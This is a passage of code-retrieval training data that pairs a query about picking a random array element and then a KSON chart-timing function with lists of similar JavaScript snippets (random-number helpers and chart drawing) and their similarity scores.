random(n) {\n\treturn console.log(Math.floor(Math.random() * n + 1))\n}", "function getRandomNum() {\n return Math.floor(1 + Math.random() * 10);\n}", "function n_random() {\n\n var n = Math.floor(Math.random() * (5 - 1)) + 1;\n //console.log(n);\n return n;\n\n }", "function getRandomInt(num) {\n return Math.floor(Math.random() * num);\n}", "function randomNumber() {\n return Math.floor(Math.random() * 10 + 1);\n}", "function getRandomInt(){\n return Math.floor(Math.random() * 10);\n}", "function possibleIndex(n) {\n return Math.floor(Math.random() * n);\n }", "function randomNBit(n) {\n return Math.floor(Math.random() * 2 ** n);\n}", "function randomInt_10_100(){\n\treturn Math.floor(Math.random()*(100-10))+10;\n}", "function getRandomNr() {\n return Math.floor(Math.random() * 10) + 300\n}", "function generateRandNum()\n{\n return Math.ceil(Math.random() * 10)\n}", "function generateRandomlyNumber(){\n\treturn Math.floor(Math.random()*10)\n}", "function randomNum_1_10(){\n\treturn Math.random()*(10-1)+1;\n}", "function randomNumber() {\n return Math.floor((Math.random() * 10) + 1)\n}", "function randomNumber() {\n return Math.floor((Math.random() * 10) + 1)\n}", "function randomNumber() {\n return Math.floor((Math.random() * 10) + 1)\n}", "function randomNumber() {\n return Math.floor((Math.random() * 10) + 1)\n}", "function randomNumber() {\n return Math.floor((Math.random() * 10) + 1)\n}", "function randomNumber() {\n return Math.floor((Math.random() * 10) + 1)\n}", "function randomNumber() {\n return Math.floor((Math.random() * 10) + 1)\n}", "function randomNumber() {\n return Math.floor((Math.random() * 10) + 1)\n }", "function getRandNum(x) { \r\n return Math.floor(Math.random() * x);\r\n}", "function randomNumber() {\n return Math.floor(Math.random() * MAX_NUMBER) + 1;\n}", "function getRandomNumber(x) {\n return Math.floor(Math.random() * x);\n}", "function randomint(){\n\tvar x = Math.floor(Math.random()*9);\n\treturn x;\n}", "function getRandomNumber(limit) {\n return Math.floor(Math.random() * (limit + 1));\n}", "function random(num){\n return Math.floor(num*Math.random());\n}", "function randomNumber(num){\r\n return Math.floor( Math.random() * num)\r\n}", "function random(number) {\n return Math.floor(Math.random() * (number+1));\n}", "function random(number) {\n return Math.floor(Math.random() * (number+1));\n}", "RandomInt(num) {\n\t\treturn Math.floor(Math.random() * num);\n\t}", "function randomNumber(int) {\n return Math.floor(Math.random() * int);\n }", "function d10() {\n return Math.floor(Math.random() * 10) + 1;\n}", "function randomNumber(){\n let rand = Math.floor(Math.random()*10);\n return(rand); \n}", "function rand10() {\n return Math.floor(Math.random() * 10) + 1;\n}", "function random(number) {\n return Math.floor(Math.random()*number);\n}", "function randomNum(num){\n return Math.floor(Math.random()*num);\n}", "function getRandomNumber(limit){\n const random = Math.floor(Math.random() * limit);\n return random;\n}", "function randomInt(limit) {\r\n return Math.floor(Math.random() * limit);\r\n}", "function generateRandomNumber(x) {\n return Math.floor(Math.random() * x)\n}", "function nRandom(range){\n\tvar r = Math.random()*range - (range/2); \n\treturn r\n}", "function randomNumber() {\n return Math.floor(Math.random() * 10) + 1;\n\n}", "function getRandom(n, m) {\n var num = Math.floor(Math.random() * (m - n + 1) + n);\n return num;\n }", "function random(number) {\n return Math.floor(Math.random() * number);\n}", "function randonNumber(number) {\n return Math.floor(Math.random() * number);\n}", "function returnRandomNumber(){\n return Math.floor(Math.random() * 1084);\n}", "function rand(m, n) {\n return m + Math.floor((n - m + 1) * Math.random());\n}", "function getRandomNumber(num) {\n return Math.floor(Math.random() * num);\n }", "function getRandomNumber1(limit)\r\n{\r\n var randomNumber = Math.floor(Math.random()*10) ;\r\n if(randomNumber == 0 || randomNumber > limit)\r\n {\r\n randomNumber = getRandomNumber1(limit);\r\n }\r\n return randomNumber ;\r\n}", "function randomNumber(num) {\n return (Math.floor(Math.random() * num) + 1);\n}", "function randomness(number) {\n var randomNo = Math.floor(Math.random() * number);\n\n return randomNo;\n}", "function getRandomNumber(num){\n\treturn Math.floor(Math.random() * num);\n}", "function generateRandomNumber(num){\r\n return Math.floor(Math.random() * num)\r\n}", "function randomNumberGenerator(){\n return (10+ Math.floor(Math.random()*(99-10+1)));\n}", "function randomNumber(limit) {\n\treturn Math.floor(Math.random() * limit) + 1\n}", "function rand(n=6){\n\tconst exp = n;\n\tlet rand = Math.floor(Math.random() * 2**exp);\n\tlet b;\n\tfor (b of [...Array(exp).keys()].reverse()) {\n\t\tif (rand >= (2**b)-1) {\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn 2**(exp-b);\n}", "function rand(num) {\n return Math.floor(Math.random() * num);\n}", "getRandomIntInclusive(min, max) {\n min = Math.ceil(min);\n max = Math.floor(max);\n let number = Math.floor(Math.random() * (max - min + 1)) + min;\n return number;\n }", "function randomNum(num) {\n return Math.floor(Math.random() * num);\n}", "function getRandomNum() {\n return Math.floor(Math.random() * 5);\n}", "function randomNumber(num) {\r\n\treturn Math.floor(Math.random() * num);\r\n}", "function getRandomInt(max) {\n return Math.floor(Math.random() * 10) +1;\n}", "function getRandomInt(max) {\n return Math.floor(Math.random() * 10) +1;\n}", "function randomNum(limit) {\n return Math.floor(Math.random() * limit);\n }" ]
[ "0.8336875", "0.82785", "0.82785", "0.8262308", "0.8220271", "0.81919044", "0.80949336", "0.80651146", "0.80477107", "0.80191684", "0.79673153", "0.7959747", "0.7956127", "0.79488194", "0.7933998", "0.7919832", "0.7916976", "0.78993666", "0.78851384", "0.7881981", "0.7857319", "0.7760366", "0.7755022", "0.7733537", "0.769072", "0.76103956", "0.75917727", "0.7558695", "0.74591136", "0.7458514", "0.7402754", "0.7362159", "0.73158723", "0.72854835", "0.72243345", "0.7161416", "0.71493924", "0.711247", "0.7073115", "0.7068309", "0.7059644", "0.70592624", "0.7050564", "0.70415145", "0.7035522", "0.7009191", "0.7000813", "0.70007443", "0.6974791", "0.69482017", "0.69482017", "0.69482017", "0.69482017", "0.69482017", "0.69482017", "0.69482017", "0.69378746", "0.69047385", "0.68960047", "0.68955", "0.6891273", "0.68873554", "0.6886592", "0.68784714", "0.68746054", "0.6868351", "0.68610954", "0.6860787", "0.68598914", "0.68571097", "0.685481", "0.685274", "0.68479097", "0.68395334", "0.6839291", "0.68364877", "0.68285453", "0.68158096", "0.6789504", "0.6781008", "0.67737013", "0.67730254", "0.67657495", "0.6763404", "0.6761684", "0.67600274", "0.6755672", "0.6745616", "0.6742747", "0.67361796", "0.6725575", "0.67241573", "0.67231953", "0.67227775", "0.67184824", "0.6711625", "0.67110616", "0.67065233", "0.67065233", "0.67024374" ]
0.8344091
0
Get a random element from an array (e.g., random_element([4,8,7]) could return 4, 8, or 7). This is useful for condition randomization.
function randomElement(array) { return array[randomInteger(array.length)]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function randomElement(arr) {\n return (arr[Math.floor(Math.random() * arr.length)]);\n}", "function getRandomArrayElement(array) {\n let element = array[Math.floor(Math.random() * array.length)];\n return element;\n}", "function getRandomElement(array) {\n let element = array[Math.floor(Math.random() * array.length)];\n return element;\n}", "function randomElement(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function randomElement(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function randomElement(array) {\n var randomize = Math.floor(Math.random() * array.length);\n var rand = array[randomize];\n return rand\n }", "function randomElement(array) {\n\t\treturn array[Math.floor(Math.random() * array.length)];\n\t}", "function getRandomElement(array) {\n const randomIndex = Math.floor(Math.random() * array.length);\n return array[randomIndex];\n}", "function randArrayElement(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function getRandomElement(array) {\n const index = Math.floor(Math.random() * array.length);\n return array[index];\n}", "function findRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)]\n}", "function randomElement(arr)\n{\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function findRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function findRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function findRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function findRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function findRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function findRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function getRandomElement(array) {\n return array[Math.floor(Math.random() * array.length)]\n}", "function getRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function getRandomElement(array) {\n return array[Math.floor(Math.random() * array.length)];\n }", "function getRandomElement(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function getRandomElement(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function getRandomElement(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function getRandomElement(arr) {\n\tvar ind = Math.floor(Math.random()*arr.length);\n\treturn arr[ind];\n}", "function randElement(arr) {\n\treturn arr[Math.floor(Math.random()*arr.length)];\n}", "function getRandomElement(array){\n\trandomIndex = Math.floor(Math.random()*array.length)\n\treturn array[randomIndex];\n}", "function getRandomElement(arr) {\n // Get a random number based on the length of the array parameter\n var randIndex = Math.floor(Math.random() * arr.length);\n // Use the random number made to get an element out of the array\n var randElement = arr[randIndex];\n // Return the element\n return randElement;\n}", "function randomElement(array){\n //Creates a random number\n var randomNumber = Math.floor(Math.random() * array.length);\n return array[randomNumber];\n}", "function getRandomElement(array) {\n // Math.floor means round a number downward to its nearest integer\n let element = array[Math.floor(Math.random() * array.length)];\n // return stops the execution of a function and returns a value\n // from that function\n return element;\n}", "function findRandomElement(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n }", "function randomElement(array) {\n return array[Math.floor((Math.random() * array.length -1) +1)];\n}", "function randomElement(arr) {\n var idx = randomIntWithinRange(0, arr.length - 1);\n return arr[idx];\n}", "function getRandom (array) {\n var randomIndex = Math.floor(Math.random() * array.length)\n var randomElement = array[randomIndex]\n\n return randomElement\n}", "function getRandom(arr) {\n var ranIndex = Math.floor(Math.random() * arr.length);\n var ranElement = arr[ranIndex];\n return ranElement;\n}", "function getRandom(arr) {\n var randIndex = Math.floor(Math.random() * arr.length);\n var randElement = arr[randIndex];\n\n return randElement;\n }", "function getRandom(arr) {\n var randIndex = Math.floor(Math.random() * arr.length);\n var randElement = arr[randIndex];\n return randElement;\n}", "function getRandom(arr) {\n var randIndex = Math.floor(Math.random() * arr.length);\n var randElement = arr[randIndex];\n return randElement;\n }", "function getRandom(arr) {\n var randIndex = Math.floor(Math.random() * arr.length);\n var randElement = arr[randIndex];\n return randElement;\n}", "function randomElt(arr) {\n return arr[randomInt(arr.length)];\n}", "function getRandElem(arr){\n return arr[genRandNum(0,arr.length - 1)];\n}", "function getRandom(arr) {\n let randIndex = Math.floor(Math.random() * arr.length);\n let randElement = arr[randIndex];\n return randElement;\n}", "function getRandomElement(ary) {\n var sample = Math.floor(Math.random() * ary.length);\n return ary[sample];\n}", "function rndElement(array) {\n return array[rndInt(array.length - 1)];\n}", "function pickRandom(arr) {\n var randomIndex = Math.floor(Math.random() * arr.length);\n var randomEl = arr[randomIndex];\n return randomEl;\n}", "function getRandArrayValue(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function getRandomElement(array) { \n return array[getRandomInt(array.length - 1)]; \n}", "function getRandomArrItem(arr) {\n var random = Math.floor(Math.random() * arr.length);\n return arr[random];\n}", "function getRandomItem (array) {\n const randomItem = Math.floor(Math.random() * array.length)\n return array[randomItem]\n}", "function getRandArrayValue(array) {\r\n\treturn array[Math.floor(Math.random() * array.length)];\r\n}", "function get_random_value(array){\n var value = array[Math.floor(Math.random() * array.length)];\n return value;\n}", "function randomEl(ary) {\n return ary[randomNum(ary.length)];\n}", "function findRandomEntry(array) {\n let x = array[Math.floor(Math.random() * array.length)]\n return x;\n}", "function randomValueFromArray(array){\n const random = Math.floor(Math.random()*array.length);\n return array[random];\n}", "function getRandomElement(ary) {\n var sample = Math.floor(Math.random() * ary.length);\n return ary[sample];\n }", "function getRandomItem(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function randomValueFromArray(array){\n const random = Math.floor(Math.random()*array.length);\n return array[random];\n }", "function randomValueFromArray(array){\n return array[Math.floor(Math.random()*array.length)];\n}", "function randomItem(arr) {\n return arr[Math.floor(Math.random()*arr.length)]\n}", "function randomPick(array) {\n let choice = Math.floor(Math.random() * array.length);\n return array[choice];\n}", "function randomPick(array) {\n let choice = Math.floor(Math.random() * array.length);\n return array[choice];\n}", "function randomItem(array) {\n return array[Math.floor(Math.random() * array.length)];\n }", "function randomValueFromArray(array){\n\treturn array[Math.floor(Math.random()*array.length)];\n}", "function randomPick(array){\n\tlet choice = Math.floor(Math.random() * array.length);\n\treturn array[choice];\n}", "function randomSelect(array) {\n var randomI = Math.floor(Math.random() * array.length);\n var randomE = array[randomI];\n return randomE;\n}", "function getRandomValue(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function randomItem(arr) {\n return arr[Math.floor(arr.length*Math.random())];\n}", "function randomPick(array){\n let choice = Math.floor(Math.random()*array.length);\n return array[choice]\n}", "function randomValueFromArray(array){\n\treturn array[Math.floor(Math.random()*array.length)];\n\n}", "function generateRandom(arr) {\r\n var randomString = Math.floor(Math.random() * arr.length)\r\n\r\n // grab a random index out of the array\r\n var randomElement = arr[randomString];\r\n \r\n return randomElement;\r\n}", "function getRandomValue(arr) {\n\tvar rand = Math.floor( Math.random() * arr.length );\n\n\treturn arr[rand];\n}", "function getRandomItem(arr){\n let num = Math.floor(Math.random() * arr.length)\n return arr[num];\n}", "function pickFromArray(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function pickFromArray(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n}", "function getRandom(array){\n var index = Math.floor(Math.random()*array.length);\n var value = array[index];\n return value;\n}", "function chooseRandomFrom(array){\n return array[Math.floor(Math.random() * array.length)];\n}", "function randomValue(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n }", "function random_choice(arr) {\n if (arr.length < 1) { return null; }\n let rng = Math.floor(Math.random()*arr.length);\n return arr[rng];\n}", "function rand_element(list){ return list[Math.floor(Math.random() * list.length)]; }", "function getRandomItem(arr) {\n\treturn arr[Math.floor(Math.random() * arr.length)];\n}", "function random_choice(array){\n var l = array.length;\n var r = Math.floor(Math.random()*l);\n return array[r];\n}", "function randomValue(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n }", "function randomValue(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n }", "function randomValue(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n }", "function randomValue(arr) {\n return arr[Math.floor(Math.random() * arr.length)];\n }", "function random(array) {\n let randomIndex = Math.floor(Math.random() * array.length);\n return array[randomIndex];\n}", "function randPick(arr)\n{\n return arr[Math.floor(Math.random() * arr.length)]; \n}", "function chooseRandom(arr) {\n return arr[Math.floor((Math.random() * arr.length))];\n}", "function random_choice(arr){\n let idx = Math.floor(Math.random() * arr.length);\n return arr[idx];\n}", "function choose(array) {\n\t\treturn array[getRandomInt(array.length)];\n\t}", "function getRandomElement(array, condition) {\n let index = Math.floor(Math.random() * array.length);\n while (condition && !condition(array[index])) {\n index = (index + 1) % array.length;\n }\n return array[index];\n}", "function random_choice(arr) {\n rand_num = Math.floor(Math.random() * arr.length);\n return arr[rand_num];\n}", "static getRandom (arr) { return arr[ Math.floor( Math.random() * arr.length ) ] }", "function getRandom(arr) {\n\tvar index = Math.floor(Math.random() * arr.length);\n\tvar value = arr[index];\n\treturn value;\n}", "function randomChoice(array) {\n return array[Math.floor(Math.random() * array.length)];\n}", "function randomChoice(arr){\n let index = Math.floor(Math.random() * arr.length);\n return arr[index];\n}", "function randomSelect(array) {\n return array[getRandomInt(0, array.length)];\n}", "function random(random) {\n var randomIndexForArray = Math.floor(Math.random() * random.length);\n var el = random[randomIndexForArray];\n return el;\n}", "function pick(arr) {\r\n return arr.length === 0\r\n ? undefined\r\n : arr[Math.floor(Math.random() * arr.length)];\r\n}" ]
[ "0.85733855", "0.85249805", "0.84896296", "0.8452541", "0.8452541", "0.8434571", "0.8410449", "0.83922994", "0.83855623", "0.83819765", "0.83786595", "0.8377807", "0.8369205", "0.8369205", "0.8369205", "0.8369205", "0.8356523", "0.8356523", "0.8355255", "0.8344915", "0.8342516", "0.83374757", "0.83374757", "0.8323047", "0.82782716", "0.82680905", "0.82395625", "0.8239014", "0.8229821", "0.8209828", "0.8192936", "0.8123846", "0.8119062", "0.80765086", "0.8013383", "0.79541725", "0.7919429", "0.7909999", "0.7868812", "0.7867186", "0.7846319", "0.78355557", "0.78090566", "0.7806474", "0.7755854", "0.7718221", "0.76863325", "0.76566297", "0.7610099", "0.7597035", "0.7579487", "0.7564561", "0.75579834", "0.7557965", "0.7540983", "0.75380343", "0.7523311", "0.7521082", "0.74889654", "0.74593985", "0.74593985", "0.7457968", "0.7441245", "0.7423993", "0.7400024", "0.7399439", "0.73968184", "0.7389437", "0.73644423", "0.7362132", "0.73613954", "0.7359953", "0.7353749", "0.7353749", "0.7330075", "0.73231244", "0.7323051", "0.73010224", "0.7298427", "0.7298334", "0.7292261", "0.72906584", "0.72906584", "0.72906584", "0.72906584", "0.72852546", "0.72847915", "0.7274164", "0.7273184", "0.7263972", "0.7255918", "0.7241702", "0.7225416", "0.72040415", "0.7191091", "0.7176789", "0.7171873", "0.71717143", "0.7166198" ]
0.8507096
3
Processes timing of the chart, computes `tick` and `len` of each line, / and process options of each line to fill KSON data.
_setKSONFromKSHLineOps() { const beatInfo = this.beat = { 'bpm': new AATree(), 'time_sig': [], 'resolution': KSH_DEFAULT_MEASURE_TICK / 4 }; this.camera = null; const ksmMeta = this._ksmMeta; if('beat' in ksmMeta) { beatInfo.time_sig.push({'idx': 0, 'v': (new KSHTimeSig(ksmMeta.beat)).toKSON()}); } let measure_tick = 0; // Tick of the current measure being processed let time_sig = [4, 4]; // Default time signature, which is the common time signature. this._ksmMeasures.forEach((measure, measure_idx) => { if(measure.length === 0) throw new Error(L10N.t('ksh-import-error-malformed-measure', measure_idx)); // Check the timing signature of this measure. measure[0].mods.forEach(([key, value]) => { switch(key) { case 'beat': const newTimeSig = new KSHTimeSig(value); time_sig = newTimeSig.timeSig; beatInfo.time_sig.push({'idx': measure_idx, 'v': newTimeSig.toKSON()}); break; } }); const measure_len = (KSH_DEFAULT_MEASURE_TICK / time_sig[1]) * time_sig[0]; if(measure_len % measure.length != 0) throw new Error(L10N.t('ksh-import-error-invalid-measure-line-count', measure_idx)); const tick_per_line = measure_len / measure.length; measure.forEach((kshLine, line_idx) => { let tick = kshLine.tick = measure_tick + tick_per_line * line_idx; kshLine.len = tick_per_line; kshLine.mods.forEach(([key, value]) => { const intValue = parseInt(value); const floatValue = parseFloat(value); switch(key) { case 'beat': // `beat`s are already processed above. // If a `beat` is in the middle of a measure, then the chart is invalid. if(line_idx > 0) throw new Error(L10N.t('ksh-import-error-invalid-time-sig-location', measure_idx)); break; case 't': if(tick > 0) this._tryAddBPMFromMeta(); if(floatValue <= 0 || !isFinite(floatValue)) throw new Error(L10N.t('ksh-import-error-value', 't(BPM)', measure_idx)); beatInfo.bpm.add(tick, 0, floatValue); break; case 'stop': if(intValue <= 0 || !isFinite(intValue)) throw new Error(L10N.t('ksh-import-error-value', 'stop', measure_idx)); const graph = new VGraphSegment(true, {'y': tick}); graph.pushKSH(tick, 0); graph.pushKSH(tick+intValue, 0); this.addScrollSpeedSegment(graph); break; case 'zoom_bottom': this._addZoom('zoom', tick, value, measure_idx); break; case 'zoom_side': this._addZoom('shift_x', tick, value, measure_idx); break; case 'zoom_top': this._addZoom('rotation_x', tick, value, measure_idx); break; } }); }); measure_tick += measure_len; }); // Add one to BPM if there's no BPM change this._tryAddBPMFromMeta(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function redrawTics() {\n while (_tickSet.length) {\n _tickSet.splice(0, 1)[0].remove();\n }\n var resolution = getResolution();\n if (resolution) {\n var begin = getStartTime();\n var end = getEndTime();\n var beginX = getScaleAreaX();\n var cellCount = Math.floor((end - begin) / resolution);\n var cellWidth = getScaleAreaWidth() / cellCount;\n var previousHours;\n for (var i = 0; i <= cellCount; ++i) {\n var positionX = beginX + i * cellWidth;\n var date = new Date(begin + i * resolution);\n // Minor tick height as default.\n var tickEndY = getScaleAreaHeight() - (_scaleConfig.height - _scaleConfig.bgHeight);\n var newHour = date.getMinutes() === 0 && date.getSeconds() === 0 && date.getMilliseconds() === 0;\n if (newHour || i === 0 || i === cellCount) {\n // Exact hour, major tick.\n tickEndY = tickEndY - _scaleConfig.progressCellHeight;\n }\n\n if (tickEndY) {\n var beginY = getScaleAreaY() + getScaleAreaHeight();\n var tick = _paper.path(\"M\" + positionX + \",\" + beginY + \"V\" + tickEndY);\n tick.attr(\"stroke\", Raphael.getRGB(\"white\")).attr(\"opacity\", 0.5);\n _tickSet.push(tick);\n jQuery(tick.node).mousewheel(handleMouseScroll);\n if (newHour && i < cellCount) {\n var hourLabel = _paper.text(positionX, getScaleAreaY() + getScaleAreaHeight() / 3, getTimeStr(date)).attr({\n \"font-family\" : _labelFontFamily,\n \"font-size\" : _labelFontSize,\n \"fill\" : Raphael.getRGB(\"black\")\n });\n // Check if the hourlabel fits into the scale area.\n var hourLabelNode = jQuery(hourLabel.node);\n if (hourLabelNode.offset().left >= getScaleAreaOffsetX() && hourLabelNode.offset().left + hourLabelNode.width() <= getScaleAreaOffsetX() + getScaleAreaWidth()) {\n // Label fits. So, let it be in the UI.\n _tickSet.push(hourLabel);\n jQuery(hourLabel.node).mousewheel(handleMouseScroll);\n\n } else {\n // Remove hour label because it overlaps the border.\n hourLabel.remove();\n }\n }\n if (i === cellCount) {\n var zoneLabel = _paper.text(positionX, getScaleAreaY() + getScaleAreaHeight() * 2 / 3, getZoneStr()).attr({\n \"font-family\" : _labelFontFamily,\n \"font-size\" : _labelFontSize,\n \"fill\" : Raphael.getRGB(\"black\"),\n \"text-anchor\" : \"end\"\n });\n // Check if the label fits into the scale area.\n var zoneLabelNode = jQuery(zoneLabel.node);\n _tickSet.push(zoneLabel);\n jQuery(zoneLabel.node).mousewheel(handleMouseScroll);\n }\n }\n previousHours = date.getHours();\n }\n }\n }", "function timeSeries() {\n var TRANSITION_DURATION = 1500;\n var data = [];\n var width = 640;\n var height = 480;\n var backgroundColor = 'white';\n var lineColor = 'red';\n var padding = {\n top: 50,\n bottom: 50,\n left: 50,\n right: 50\n };\n\n var xScale, yScale;\n\n\n // Chart generation closure.\n var chart = function(selection) {\n selection.each(function(data) {\n var container = d3.select(this);\n var svg = container.selectAll('svg').data([data]);\n\n var svgEnter = svg.enter()\n .append('svg')\n .attr('class', 'time-series');\n\n svg.attr('width', width)\n .attr('height', height)\n .style('background-color', backgroundColor);\n\n svgEnter.append('g')\n .attr('class', 'points-container')\n .attr('transform', 'translate(' + padding.left + ',' + padding.top + ')')\n .append('path')\n .attr('class', 'value line');\n\n svgEnter.append('g')\n .attr('class', 'x axis')\n .attr('transform', 'translate(' + padding.left + ',' + (height - padding.top) + ')');\n\n svgEnter.append('g')\n .attr('class', 'y axis')\n .attr('transform', 'translate(' + padding.left + ',' + padding.top + ')');\n\n svgEnter.append('g')\n .attr('class', 'x text')\n .attr('transform', 'translate(' + (padding.left + innerWidth()/2) + ',' + (innerHeight() + padding.top + 30) + ')')\n .attr('class', 'chart-title')\n .text('time');\n\n svgEnter.append('g')\n .attr('class', 'y text')\n .attr('transform', 'translate(' + (padding.left - 30) + ',' + (height/2) + ') rotate(-90)')\n .attr('class', 'chart-title')\n .text('counts');\n\n setScales(data);\n setAxes(container.select('.x.axis'),\n container.select('.y.axis'));\n var adjustedWidth = innerWidth();\n var adjustedHeight = innerHeight();\n\n var points = svg.select('.points-container')\n .selectAll('circle').data(data);\n\n points.enter().append('circle')\n .attr('r', 3)\n .attr('cx', function(d) { return xScale(d.date); })\n .attr('cy', function(d) { return yScale(d.frequency); })\n .style('opacity', 0.7)\n .attr('fill', lineColor);\n\n\n points.exit().remove();\n\n points.transition()\n .attr('cx', function(d) { return xScale(d.date); })\n .attr('cy', function(d) { return yScale(d.frequency); });\n\n container.select('.value.line')\n .transition()\n .attr('d', valueLine(data))\n .attr('stroke', lineColor);\n });\n };\n\n // Gets/sets the data associated with this chart.\n chart.data = function(val) {\n if (!arguments.length) return data;\n data = val;\n if (typeof updateData === 'function') {\n updateData();\n }\n };\n\n // Gets/sets the width of this chart.\n chart.width = function(val) {\n if (!arguments.length) return width;\n\n width = val;\n return this;\n };\n\n // Gets/sets the height of this chart.\n chart.height = function(val) {\n if (!arguments.length) return height;\n\n height = val;\n return this;\n };\n\n // Gets/sets the background color of this chart.\n chart.backgroundColor = function(val) {\n if (!arguments.length) return backgroundColor;\n\n backgroundColor = val;\n return this;\n }\n\n // Returns the width of the chart, excluding the paddings.\n var innerWidth = function() {\n return width - padding.left - padding.right;\n };\n\n // Returns the height of the chart, excluding the paddings.\n var innerHeight = function() {\n return height - padding.top - padding.bottom;\n };\n\n var setScales = function(data) {\n xScale = d3.time.scale()\n .domain([data[0].date, data[data.length - 1].date])\n .range([0, innerWidth()]);\n\n var yMin = d3.min(data, function(d) { return d.frequency });\n var yMax = d3.max(data, function(d) { return d.frequency });\n\n yScale = d3.scale.linear()\n .domain([yMin * 0.9, yMax])\n .range([innerHeight(), 0]);\n };\n\n var setAxes = function(xAxisLabel, yAxisLabel) {\n var xAxis = d3.svg.axis()\n .scale(xScale)\n .orient('bottom')\n .tickFormat(d3.time.format('%a'))\n .ticks(7);\n\n var yAxis = d3.svg.axis()\n .scale(yScale)\n .orient('left');\n\n xAxisLabel.transition().duration(TRANSITION_DURATION).call(xAxis);\n\n yAxisLabel.transition().duration(TRANSITION_DURATION).call(yAxis);\n };\n\n var valueLine = d3.svg.line()\n .x(function (d) { return xScale(d.date); })\n .y(function (d) { return yScale(d.frequency); });\n\n return chart;\n}", "function plotParamData(){\n\n var newData =[];\n var minTickSize = Math.ceil((dsEnd - dsStart)/msecDay/7);\n\n if( height_check.checked ){\n newData.push({label: \"height (in)\",\n data: gaitData[0],\n color: pcolors[0], \n lines: { lineWidth: 3}\n });\n }\n else{\n // So that yaxis is always used...\n newData.push({label: \"height (in)\",\n data: gaitData[0],\n color: pcolors[0], \n lines: {lineWidth: 0} \n });\n }\n if( st_check.checked){\n\n newData.push({label: \"stride time (sec)\",\n data: gaitData[1],\n yaxis: 2,\n color: pcolors[1], \n lines: {show: drawlines.checked, lineWidth: 3},\n points: { show: drawpoints.checked, fill: true, radius: 1 }});\n\n if( conf_check.checked){\n newData.push({label: \"st_95_ub (sec)\",\n data: gaitData[8],\n yaxis: 2,\n color: pcolors[1], lines: {lineWidth: 1}});\n\n newData.push({label: \"st_95_lb (sec)\",\n data: gaitData[9],\n yaxis: 2,\n color: pcolors[1], lines: {lineWidth: 1}});\n }\n }\n if( sl_check.checked){\n\n newData.push({label: \"stride length (cm)\",\n data: gaitData[2],\n color: pcolors[2], \n lines: {show: drawlines.checked, lineWidth: 3},\n points: { show: drawpoints.checked, fill: true, radius: 1 }});\n\n if( conf_check.checked){\n newData.push({label: \"sl_95_ub (cm)\",\n data: gaitData[6],\n color: pcolors[2], lines: {lineWidth: 1}});\n\n newData.push({label: \"sl_95_lb (cm)\",\n data: gaitData[7],\n color: pcolors[2], lines: {lineWidth: 1}});\n }\n }\n if( as_check.checked){\n\n newData.push( {label: \"average speed (cm/sec)\",\n data: gaitData[3],\n color: pcolors[3], \n lines: {show: drawlines.checked, lineWidth: 3},\n points: { show: drawpoints.checked, fill: true, radius: 1 }});\n\n if( conf_check.checked){\n newData.push({label: \"as_95_ub (cm/sec)\",\n data: gaitData[4],\n color: pcolors[3], lines: {lineWidth: 1}});\n\n newData.push({label: \"as_95_lb (cm/sec)\",\n data: gaitData[5],\n color: pcolors[3], lines: {lineWidth: 1}}); \n }\n }\n\n newData.push({label: \"system down time\",\n data: gaitData[10], \n lines: {lineWidth: 1, fill: true, fillColor: \"rgba(100, 100, 100, 0.4)\"} });\n\n if( alert_check.checked ){\n newData.push({\n data: alertsToPlot,\n color: \"rgb(0,0,0)\",\n yaxis: 1,\n lines: {show: false},\n points: {show: true, radius: 4} });\n }\n\n paramGraph = $.plot($(\"#flot1\"),\n newData,\n\n { \n grid: {\n color: \"#000\",\n borderWidth: 0,\n hoverable: true\n },\n\n xaxis: {\n mode: \"time\",\n timeformat: \"%m/%d/%y\",\n minTickSize: [minTickSize,\"day\"],\n ticks: 7,\n min: dsStart,\n max: dsEnd\n },\n yaxes: [{\n min:20, max: 100, position:\"left\", tickSize: 10 \n },\n {\n\n min:1, max: 2.4, position:\"right\", alignTicksWithAxis: 1\n }],\n legend: {\n show: false\n },\n hooks: { draw : [draw_alerts] }\n }\n );\n\n $.plot($(\"#smallgraph\"),\n newData,\n {\n xaxis: {\n mode: \"time\",\n show:false\n },\n yaxes: [{\n min:20, max: 100, position:\"left\", tickSize: 10, show: false \n },\n {\n\n min:1, max: 2.4, position:\"right\", alignTicksWithAxis: 1, show: false\n }],\n legend:{\n show:false \n },\n grid:{\n color: \"#666\",\n borderWidth: 2\n },\n rangeselection:{\n color: pcolors[4], //\"#feb\",\n start: dsStart,\n end: dsEnd,\n enabled: true,\n callback: rangeselectionCallback\n }\n }\n );\n\n}", "function handleTick() \r\n\t{\t// This function is called at FPS speed. i.e. 60FPS (60 times per second)\r\n\t\t// All processing done here is critical\r\n\t\tif (!pause)\r\n\t\t{\t\r\n\t\t\tsoundOne.drawThis(); // Get analyzer data from the audio object\r\n\t\t\tline.graphics.clear(); // Clear previous line\r\n\t\t\tline.graphics.setStrokeStyle(1); // Set line width attribute\r\n\t\t\tline.graphics.beginStroke('rgba(255, 255, 255, 